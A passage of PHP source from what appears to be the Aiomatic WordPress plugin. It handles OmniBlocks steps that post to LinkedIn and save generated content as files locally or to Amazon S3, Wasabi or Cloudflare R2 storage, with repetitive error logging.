                                                aiomatic_log_to_file('Halting execution (empty LinkedIn post data entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty LinkedIn post data entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        if (empty($selected_pages))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty LinkedIn selected_pages entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty LinkedIn selected_pages entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        
                                        $return_me = aiomatic_post_to_linkedin($card_type_found, $post_template, $featured_image, $post_title, $post_link, $post_description, $attach_lnk, $selected_pages);
                                        if(isset($return_me['error']))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (LinkedIn social posting failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('LinkedIn social posting failed: ' . $return_me['error']);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        elseif(empty($return_me))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (LinkedIn social posting failed to be parsed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to parse social posting results to LinkedIn');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('ok');
                                            }
                                            $block_results[$block_id] = array($current_block['type']);
                                            $posts_inserted++;
                                        }
                                    }
                                    elseif($current_block['type'] == 'save_file')
                                    {
                                        $post_template = $current_block['parameters']['post_template'];
                                        $post_template = aiomatic_replace_omniblocks_data($post_template, $current_keyword, $kiwis, $block_results);
                                        $send_type = $current_block['parameters']['send_type'];
                                        $file_type = $current_block['parameters']['file_type'];
                                        if(empty($file_type))
                                        {
                                            $file_type = 'txt';
                                        }
                                        $file_name = "file_" . $param . "_" . date("Y-m-d_H-i-s") . "_" . uniqid() . '.' . $file_type;
                                        if ((empty($post_template) && empty($send_type))) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty local file data entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty local file data entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        if($file_type == 'pdf')
                                        {
                                            if(!function_exists('is_plugin_active'))
                                            {
                                                include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                            }
                                            if (!is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (PDF Parser Extension plugin is not active, please activate it to use this functionality), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Aiomatic Extension - PDF File Storage And Parsing plugin is not active, please activate it to use this functionality');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                    continue;
                                                }
                                            }
                                            $html2pdf = new \Spipu\Html2Pdf\Html2Pdf();
                                            $html2pdf->writeHTML($post_template);
                                            $pdf_str = $html2pdf->output('doc.pdf', 'S');
                                            if($pdf_str === false)
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (pdf file saving failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to save pdf document to file');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                    continue;
                                                }
                                            }
                                            else
                                            {
                                                $post_template = $pdf_str;
                                            }
                                        }
                                        if($file_type == 'doc')
                                        {
                                            require_once(dirname(__FILE__) . "/res/html_to_doc/ExportToWord.inc.php");
                                            $doc_str = ExportToWord::htmlToDoc($post_template, '');
                                            if($doc_str === false)
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (doc file saving failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to save doc document to file');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                    continue;
                                                }
                                            }
                                            else
                                            {
                                                $post_template = $doc_str;
                                            }
                                        }
                                        $filesize = strlen($post_template);
                                        if($send_type == 'local')
                                        {
                                            global $wp_filesystem;
                                            if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                                                include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                                                wp_filesystem($creds);
                                            }
                                            $upload_dir = wp_upload_dir();
                                            $aiomatic_directory = $upload_dir['basedir'] . '/aiomatic/';
                                            $aiomatic_url = $upload_dir['baseurl'] . '/aiomatic/';
                                            wp_mkdir_p($aiomatic_directory);
                                            $new_pdf = $aiomatic_directory . $file_name;
                                            $new_url = $aiomatic_url . $file_name;
                                            $ret = $wp_filesystem->put_contents($new_pdf, $post_template);
                                            if ($ret === FALSE) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (failed to upload file), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to upload file: ' . $file_name . ' to ' . $new_pdf);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            else
                                            {
                                                $forms_data = array(
                                                    'post_type' => 'aiomatic_omni_file',
                                                    'post_title' => $file_name,
                                                    'post_content' => $new_url,
                                                    'post_status' => 'publish'
                                                );
                                                remove_filter('content_save_pre', 'wp_filter_post_kses');
                                                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                                                $forms_id = wp_insert_post($forms_data);
                                                add_filter('content_save_pre', 'wp_filter_post_kses');
                                                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                                                if(is_wp_error($forms_id))
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (failed to insert file data), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to insert file data: ' . $forms_id->get_error_message());
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type']);
                                                        continue;
                                                    }
                                                }
                                                elseif($forms_id === 0)
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (failed to insert file to db), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to insert file to db');
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type']);
                                                        continue;
                                                    }
                                                }
                                                else 
                                                {
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('ok');
                                                    }
                                                    $cat_arr = array($send_type);
                                                    wp_set_object_terms($forms_id, $cat_arr, 'ai_file_type');
                                                    $new_pdf = str_replace('\\', '/', $new_pdf);
                                                    update_post_meta($forms_id, 'local_id', $new_pdf);
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    $posts_inserted++;
                                                }
                                            }      
                                        }
                                        elseif($send_type == 'amazon')
                                        {
                                            if(!function_exists('is_plugin_active'))
                                            {
                                                include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                            }
                                            if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 extension not loaded), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['bucket_name']) || trim($aiomatic_Main_Settings['bucket_name']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 bucket_name not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 bucket_name for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['s3_user']) || trim($aiomatic_Main_Settings['s3_user']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 s3_user not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 s3_user for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['s3_pass']) || trim($aiomatic_Main_Settings['s3_pass']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 s3_pass not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 s3_pass for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['bucket_region']) || trim($aiomatic_Main_Settings['bucket_region']) == '')
                                            {
                                                $aiomatic_Main_Settings['bucket_region'] = 'eu-central-1';
                                            }
                                            try
                                            {
                                                $credentials = array('key' => trim($aiomatic_Main_Settings['s3_user']), 'secret' => trim($aiomatic_Main_Settings['s3_pass']));
                                                $s3 = new S3Client([
                                                    'version' => 'latest',
                                                    'region'  => trim($aiomatic_Main_Settings['bucket_region']),
                                                    'credentials' => $credentials
                                                ]);
                                            }
                                            catch(Exception $e)
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 init failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (trim($aiomatic_Main_Settings['drive_directory']) != '') {
                                                $s3_remote_path = trim(trim($aiomatic_Main_Settings['drive_directory']), '/');
                                                $s3_remote_path = trailingslashit($s3_remote_path);
                                            }
                                            else
                                            {
                                                $s3_remote_path = '';
                                            }
                                            try 
                                            {
                                                $obj_arr = [
                                                    'Bucket' => trim($aiomatic_Main_Settings['bucket_name']),
                                                    'Key'    => $s3_remote_path . $file_name,
                                                    'Body'   => $post_template,
                                                    'Content-Length' => $filesize,
                                                    'ContentLength' => $filesize
                                                ];
                                                $obj_arr['ACL'] = 'public-read';
                                                $awsret = $s3->putObject($obj_arr);
                                                if(isset($awsret['ObjectURL']))
                                                {
                                                    $forms_data = array(
                                                        'post_type' => 'aiomatic_omni_file',
                                                        'post_title' => $file_name,
                                                        'post_content' => $awsret['ObjectURL'],
                                                        'post_status' => 'publish'
                                                    );
                                                    remove_filter('content_save_pre', 'wp_filter_post_kses');
                                                    remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                                                    $forms_id = wp_insert_post($forms_data);
                                                    add_filter('content_save_pre', 'wp_filter_post_kses');
                                                    add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                                                    if(is_wp_error($forms_id))
                                                    {
                                                        if($critical == '1')
                                                        {
                                                            aiomatic_log_to_file('Halting execution (failed to insert file data), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                            return 'fail';
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to insert file data: ' . $forms_id->get_error_message());
                                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                            {
                                                                return array('');
                                                            }
                                                            $block_results[$block_id] = array($current_block['type']);
                                                            continue;
                                                        }
                                                    }
                                                    elseif($forms_id === 0)
                                                    {
                                                        if($critical == '1')
                                                        {
                                                            aiomatic_log_to_file('Halting execution (failed to insert file to db), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                            return 'fail';
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to insert file to db');
                                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                            {
                                                                return array('');
                                                            }
                                                            $block_results[$block_id] = array($current_block['type']);
                                                            continue;
                                                        }
                                                    }
                                                    else 
                                                    {
                                                        $cat_arr = array($send_type);
                                                        wp_set_object_terms($forms_id, $cat_arr, 'ai_file_type');
                                                        $uri = $awsret['ObjectURL'];
                                                        $urlComponents = parse_url($uri);
                                                        $key = ltrim($urlComponents['path'], '/');
                                                        update_post_meta($forms_id, 'local_id', $key);
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('ok');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type']);
                                                        $posts_inserted++;
                                                    }   
                                                }
                                                else
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (Amazon S3 error response decoding), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type']);
                                                        continue;
                                                    }
                                                }
                                            } 
                                            catch (Exception $e) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 error uploading file), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            } 
                                        }
                                        elseif($send_type == 'wasabi')
                                        {
                                            if(!function_exists('is_plugin_active'))
                                            {
                                                include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                            }
                                            if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 extension not loaded), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['wasabi_bucket']) || trim($aiomatic_Main_Settings['wasabi_bucket']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 wasabi_bucket not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 wasabi_bucket for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['wasabi_region']) || trim($aiomatic_Main_Settings['wasabi_region']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 wasabi_region not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 wasabi_region for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['wasabi_user']) || trim($aiomatic_Main_Settings['wasabi_user']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 wasabi_user not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 wasabi_user for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['wasabi_pass']) || trim($aiomatic_Main_Settings['wasabi_pass']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 wasabi_pass not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 wasabi_pass for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['bucket_region']) || trim($aiomatic_Main_Settings['bucket_region']) == '')
                                            {
                                                $aiomatic_Main_Settings['bucket_region'] = 'eu-central-1';
                                            }
                                            try
                                            {
                                                $credentials = array('key' => trim($aiomatic_Main_Settings['wasabi_user']), 'secret' => trim($aiomatic_Main_Settings['wasabi_pass']));
                                                $s3 = new S3Client([
                                                    'endpoint' => "https://" . trim($aiomatic_Main_Settings['wasabi_bucket']) . ".s3." . trim($aiomatic_Main_Settings['wasabi_region']) . ".wasabisys.com/",
                                                    'bucket_endpoint' => true,
                                                    'version' => 'latest',
                                                    'region'  => trim($aiomatic_Main_Settings['wasabi_region']),
                                                    'credentials' => $credentials
                                                ]);
                                            }
                                            catch(Exception $e)
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 init failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (trim($aiomatic_Main_Settings['wasabi_directory']) != '') {
                                                $s3_remote_path = trim(trim($aiomatic_Main_Settings['wasabi_directory']), '/');
                                                $s3_remote_path = trailingslashit($s3_remote_path);
                                            }
                                            else
                                            {
                                                $s3_remote_path = '';
                                            }
                                            try 
                                            {
                                                $obj_arr = [
                                                    'Bucket' => trim($aiomatic_Main_Settings['wasabi_bucket']),
                                                    'Key'    => $s3_remote_path . $file_name,
                                                    'Body'   => $post_template,
                                                    'Content-Length' => $filesize,
                                                    'ContentLength' => $filesize
                                                ];
                                                $obj_arr['ACL'] = 'public-read';
                                                $awsret = $s3->putObject($obj_arr);
                                                if(isset($awsret['ObjectURL']))
                                                {
                                                    $forms_data = array(
                                                        'post_type' => 'aiomatic_omni_file',
                                                        'post_title' => $file_name,
                                                        'post_content' => $awsret['ObjectURL'],
                                                        'post_status' => 'publish'
                                                    );
                                                    remove_filter('content_save_pre', 'wp_filter_post_kses');
                                                    remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                                                    $forms_id = wp_insert_post($forms_data);
                                                    add_filter('content_save_pre', 'wp_filter_post_kses');
                                                    add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                                                    if(is_wp_error($forms_id))
                                                    {
                                                        if($critical == '1')
                                                        {
                                                            aiomatic_log_to_file('Halting execution (failed to insert file data), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                            return 'fail';
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to insert file data: ' . $forms_id->get_error_message());
                                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                            {
                                                                return array('');
                                                            }
                                                            $block_results[$block_id] = array($current_block['type']);
                                                            continue;
                                                        }
                                                    }
                                                    elseif($forms_id === 0)
                                                    {
                                                        if($critical == '1')
                                                        {
                                                            aiomatic_log_to_file('Halting execution (failed to insert file to db), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                            return 'fail';
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to insert file to db');
                                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                            {
                                                                return array('');
                                                            }
                                                            $block_results[$block_id] = array($current_block['type']);
                                                            continue;
                                                        }
                                                    }
                                                    else 
                                                    {
                                                        $cat_arr = array($send_type);
                                                        wp_set_object_terms($forms_id, $cat_arr, 'ai_file_type');
                                                        $uri = $awsret['ObjectURL'];
                                                        $urlComponents = parse_url($uri);
                                                        $key = ltrim($urlComponents['path'], '/');
                                                        update_post_meta($forms_id, 'local_id', $key);
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('ok');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type']);
                                                        $posts_inserted++;
                                                    }   
                                                }
                                                else
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (Amazon S3 error response decoding), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type']);
                                                        continue;
                                                    }
                                                }
                                            } 
                                            catch (Exception $e) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 error uploading file), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            } 
                                        }
                                        elseif($send_type == 'cloudflare')
                                        {
                                            if(!function_exists('is_plugin_active'))
                                            {
                                                include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                            }
                                            if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 extension not loaded), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['cloud_bucket']) || trim($aiomatic_Main_Settings['cloud_bucket']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 cloud_bucket not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 cloud_bucket for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['cloud_account']) || trim($aiomatic_Main_Settings['cloud_account']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 cloud_account not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 cloud_account for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['cloud_user']) || trim($aiomatic_Main_Settings['cloud_user']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 cloud_user not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 cloud_user for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            if (!isset($aiomatic_Main_Settings['cloud_pass']) || trim($aiomatic_Main_Settings['cloud_pass']) == '')
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 cloud_pass not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need to enter a Amazon S3 cloud_pass for this to work!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            try
                                            {
                                                $credentials = array('key' => trim($aiomatic_Main_Settings['cloud_user']), 'secret' => trim($aiomatic_Main_Settings['cloud_pass']));
                                                $s3 = new S3Client([
                                                    'endpoint' => "https://" . trim($aiomatic_Main_Settings['cloud_account']) . ".r2.cloudflarestorage.com",
                                                    'bucket_endpoint' => true,
                                                    'version' => 'latest',
                                                    'region' => 'us-east-1',
                                                    'credentials' => $credentials
                                                ]);
                                            }
                                            catch(Exception $e)
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (Amazon S3 init failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
